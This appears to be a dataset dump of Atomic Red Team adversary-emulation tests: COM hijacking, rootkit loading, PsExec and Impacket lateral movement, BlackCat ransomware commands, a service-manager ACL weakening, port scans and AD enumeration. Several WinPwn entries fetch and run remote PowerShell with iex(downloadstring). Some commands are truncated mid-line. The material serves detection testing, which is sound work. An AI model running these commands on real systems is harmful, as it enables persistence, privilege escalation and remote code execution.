deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1546.015: Event Triggered Execution: Component Object Model Hijacking
Test: COM hijacking via TreatAs
Platforms: windows
Executor: powershell

Description:
This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.
Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The
test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out.

References:

https://youtu.be/3gz1QmiMhss?t=1251

https://github.com/enigma0x3/windows-operating-system-archaeology

Command:
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{[PII_REDACTED]-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{[PII_REDACTED]-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{[PII_REDACTED]-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{[PII_REDACTED]-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{[PII_REDACTED]-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.

Cleanup:
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{[PII_REDACTED]-0000-0000FEEDACDC}" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
Atomic Red Team — T1014: Rootkit
Test: Loadable Kernel Module based Rootkit
Platforms: linux
Executor: sh

Description:
Loadable Kernel Module based Rootkit


Command:
sudo insmod #{rootkit_path}/#{rootkit_name}.ko


Cleanup:
sudo rmmod #{rootkit_name}
sudo rm -rf #{rootkit_path}


Dependencies:
The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko)
Atomic Red Team — T1014: Rootkit
Test: Loadable Kernel Module based Rootkit
Platforms: linux
Executor: sh

Description:
Loadable Kernel Module based Rootkit


Command:
sudo modprobe #{rootkit_name}


Cleanup:
sudo modprobe -r #{rootkit_name}
sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko
sudo depmod -a


Dependencies:
The kernel module must exist on disk at specified location (#{rootkit_source_path}/#{rootkit_name}.ko)
Atomic Red Team — T1014: Rootkit
Test: dynamic-linker based rootkit (libprocesshider)
Platforms: linux
Executor: sh

Description:
Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).


Command:
echo #{library_path} | tee -a /etc/ld.so.preload
/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"


Cleanup:
sed -i "\:^#{library_path}:d" /etc/ld.so.preload
rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic


Dependencies:
The preload library must exist on disk at specified location (#{library_path})
Atomic Red Team — T1014: Rootkit
Test: Loadable Kernel Module based Rootkit (Diamorphine)
Platforms: linux
Executor: sh

Description:
Loads Diamorphine kernel module, which hides itself and a processes.


Command:
sudo modprobe #{rootkit_name}
ping -c 10 localhost >/dev/null & TARGETPID="$!"
ps $TARGETPID
kill -31 $TARGETPID
ps $TARGETPID || echo "process ${TARGETPID} hidden"


Cleanup:
kill -63 1
sudo modprobe -r #{rootkit_name}
sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic
sudo depmod -a


Dependencies:
The kernel module must exist on disk at specified location (#{rootkit_name}.ko)
Atomic Red Team — T1569.002: System Services: Service Execution
Test: Execute a Command as a Service
Platforms: windows
Executor: command_prompt

Description:
Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)  
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware)


Command:
sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}


Cleanup:
del C:\art-marker.txt >nul 2>&1
Atomic Red Team — T1569.002: System Services: Service Execution
Test: Use PsExec to execute a command on a remote host
Platforms: windows
Executor: command_prompt

Description:
Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).


Command:
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"


Dependencies:
PsExec tool from Sysinternals must exist in the ExternalPayloads directory
Atomic Red Team — T1569.002: System Services: Service Execution
Test: psexec.py (Impacket)
Platforms: linux
Executor: bash

Description:
Will execute a command on the remote host with Impacket psexec.py script.


Command:
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'


Dependencies:
psexec.py (Impacket)
Atomic Red Team — T1569.002: System Services: Service Execution
Test: BlackCat pre-encryption cmds with Lateral Movement
Platforms: windows
Executor: powershell

Description:
This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat

Command:
cmd.exe /c "wmic 	csproduct 	get UUID" 
cmd.exe /c "fsutil behavior 	set SymlinkEvaluation R2L:1" 
cmd.exe /c "fsutil behavior set 	SymlinkEvaluation R2R:1"
reg    add    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe  -accepteula  \\#{targethost} cmd.exe  /c echo "--access-token""


Cleanup:
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0" 
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exe


Dependencies:
PsExec must exist on disk at "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe"
Atomic Red Team — T1569.002: System Services: Service Execution
Test: Use RemCom to execute a command on a remote host
Platforms: windows
Executor: command_prompt

Description:
Requires having RemCom installed, path to RemCom is one of the input input_arguments
Will start a process on a remote host.
Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).


Command:
"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe


Dependencies:
RemCom tool must exist on disk in the ExternalPayloads folder
Atomic Red Team — T1569.002: System Services: Service Execution
Test: Snake Malware Service Create
Platforms: windows
Executor: command_prompt

Description:
The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.
This was recently seen in the Snake Malware report. 
Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/[PII_REDACTED]/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)  


Command:
sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto


Cleanup:
sc.exe delete "WerFaultSvc"
Atomic Red Team — T1569.002: System Services: Service Execution
Test: Modifying ACL of Service Control Manager via SDET
Platforms: windows
Executor: command_prompt

Description:
Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required.
[Blog](https://0xv1n.github.io/posts/scmanager/)  


Command:
sc.exe sdset scmanager D:(A;;KA;;;WD)
Atomic Red Team — T1569.002: System Services: Service Execution
Test: Pipe Creation - PsExec Tool Execution From Suspicious Locations
Platforms: windows
Executor: powershell

Description:
Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.

Command:
cd C:\Users\Public\Temp\ 
.\PsExec.exe -i -s cmd  -accepteula

Dependencies:
PsExec tool from Sysinternals must exist in the '\Users\Public\Temp\' directory
Atomic Red Team — T1036: Masquerading
Test: System File Copied to Unusual Location
Platforms: windows
Executor: powershell

Description:
It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.

Command:
copy-item "$env:windir\System32\cmd.exe" -destination "$env:allusersprofile\cmd.exe"
start-process "$env:allusersprofile\cmd.exe"
sleep -s 5 
stop-process -name "cmd" | out-null

Cleanup:
remove-item "$env:allusersprofile\cmd.exe" -force -erroraction silentlycontinue
Atomic Red Team — T1036: Masquerading
Test: Malware Masquerading and Execution from Zip File
Platforms: windows
Executor: powershell

Description:
When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/[PII_REDACTED]39912960)

Command:
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force
cd "$env:userprofile\Downloads\T1036"
cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null

Cleanup:
taskkill /IM Calculator.exe /f >$null 2>$null
Remove-Item "$env:userprofile\Downloads\T1036" -recurse -ErrorAction Ignore

Dependencies:
Zip file must be present.
Atomic Red Team — T1046: Network Service Discovery
Test: Port Scan
Platforms: linux, macos
Executor: bash

Description:
Scan ports to check for listening ports.

Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.


Command:
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
Atomic Red Team — T1046: Network Service Discovery
Test: Port Scan Nmap
Platforms: linux, macos
Executor: sh

Description:
Scan ports to check for listening ports with Nmap.
Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.


Command:
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}


Dependencies:
Check if nmap command exists on the machine

Check if nc command exists on the machine

Check if telnet command exists on the machine
Atomic Red Team — T1046: Network Service Discovery
Test: Port Scan NMap for Windows
Platforms: windows
Executor: powershell

Description:
Scan ports to check for listening ports for the local host 127.0.0.1

Command:
nmap #{host_to_scan}

Dependencies:
NMap must be installed
Atomic Red Team — T1046: Network Service Discovery
Test: Port Scan using python
Platforms: windows
Executor: powershell

Description:
Scan ports to check for listening ports with python


Command:
python "#{filename}" -i #{host_ip}


Dependencies:
Check if python exists on the machine
Atomic Red Team — T1046: Network Service Discovery
Test: WinPwn - spoolvulnscan
Platforms: windows
Executor: powershell

Description:
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Atomic Red Team — T1046: Network Service Discovery
Test: WinPwn - MS17-10
Platforms: windows
Executor: powershell

Description:
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
Atomic Red Team — T1046: Network Service Discovery
Test: WinPwn - bluekeep
Platforms: windows
Executor: powershell

Description:
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
Atomic Red Team — T1046: Network Service Discovery
Test: WinPwn - fruit
Platforms: windows
Executor: powershell

Description:
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
Atomic Red Team — T1046: Network Service Discovery
Test: Network Service Discovery for Containers
Platforms: containers
Executor: sh

Description:
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.

Command:
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh

Cleanup:
docker stop t1046_container
docker rmi -f t1046

Dependencies:
Verify docker is installed.
Verify docker service is running.
Atomic Red Team — T1046: Network Service Discovery
Test: Port-Scanning /24 Subnet with PowerShell
Platforms: windows
Executor: powershell

Description:
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask.
The connection attempts to use a timeout parameter in milliseconds to speed up the scan. Please note the atomic might not print any output until the scans are completed.


Command:
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
Atomic Red Team — T1046: Network Service Discovery
Test: Remote Desktop Services Discovery via PowerShell
Platforms: windows
Executor: powershell

Description:
Availability of remote desktop services can be checked using get- cmdlet of PowerShell


Command:
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
Atomic Red Team — T1046: Network Service Discovery
Test: Port Scan using nmap (Port range)
Platforms: linux, macos
Executor: sh

Description:
Scan multiple ports to check for listening ports with nmap


Command:
nmap -Pn -sV -p #{port_range} #{host}


Dependencies:
Check if nmap command exists on the machine
Atomic Red Team — T1123: Audio Capture
Test: using device audio capture commandlet
Platforms: windows
Executor: powershell

Description:
Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)


Command:
$mic = Get-AudioDevice -Recording
Set-AudioDevice -ID $mic.ID
Start-Sleep -Seconds 5


Dependencies:
AudioDeviceCmdlets module must be installed
Atomic Red Team — T1123: Audio Capture
Test: Registry artefact when application use microphone
Platforms: windows
Executor: command_prompt

Description:
[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)


Command:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f


Cleanup:
reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /f
Atomic Red Team — T1123: Audio Capture
Test: using Quicktime Player
Platforms: macos
Executor: sh

Description:
Use AppleScript to get Quicktime Player to record an audio file from the default microphone.

Should create a non-empty m4a file with sound from the microphone.

- requires Automation permissions but no additional microphone permissions
- saves file in /tmp by default. Other locations likely to require more permissions.


Command:
sh #{filename} #{audiofile} #{duration}


Cleanup:
if test -w #{audiofile}; then
  rm #{audiofile}
fi
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate all accounts (Domain)
Platforms: windows
Executor: command_prompt

Description:
Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session


Command:
net user /domain
net group /domain
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate all accounts via PowerShell (Domain)
Platforms: windows
Executor: powershell

Description:
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.


Command:
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate logged on users via CMD (Domain)
Platforms: windows
Executor: command_prompt

Description:
Enumerate logged on users. Upon exeuction, logged on users will be displayed.


Command:
query user /SERVER:#{computer_name}
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Automated AD Recon (ADRecon)
Platforms: windows
Executor: powershell

Description:
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.


Command:
Invoke-Expression "#{adrecon_path}"


Cleanup:
Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads" -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item -Force -Recurse


Dependencies:
ADRecon must exist on disk at specified location (#{adrecon_path})
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Adfind -Listing password policy
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Adfind - Enumerate Active Directory Admins
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/, https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Adfind - Enumerate Active Directory User Objects
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Adfind - Enumerate Active Directory Exchange AD Objects
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1087.002: Account Discovery: Domain Account
Test: Enumerate Default Domain Admin Details (Domain)
Platforms: windows
Executor: command_prompt

Description:
This test will enumerate the details of the built-in domain admin account


Command:
net user administrator /domain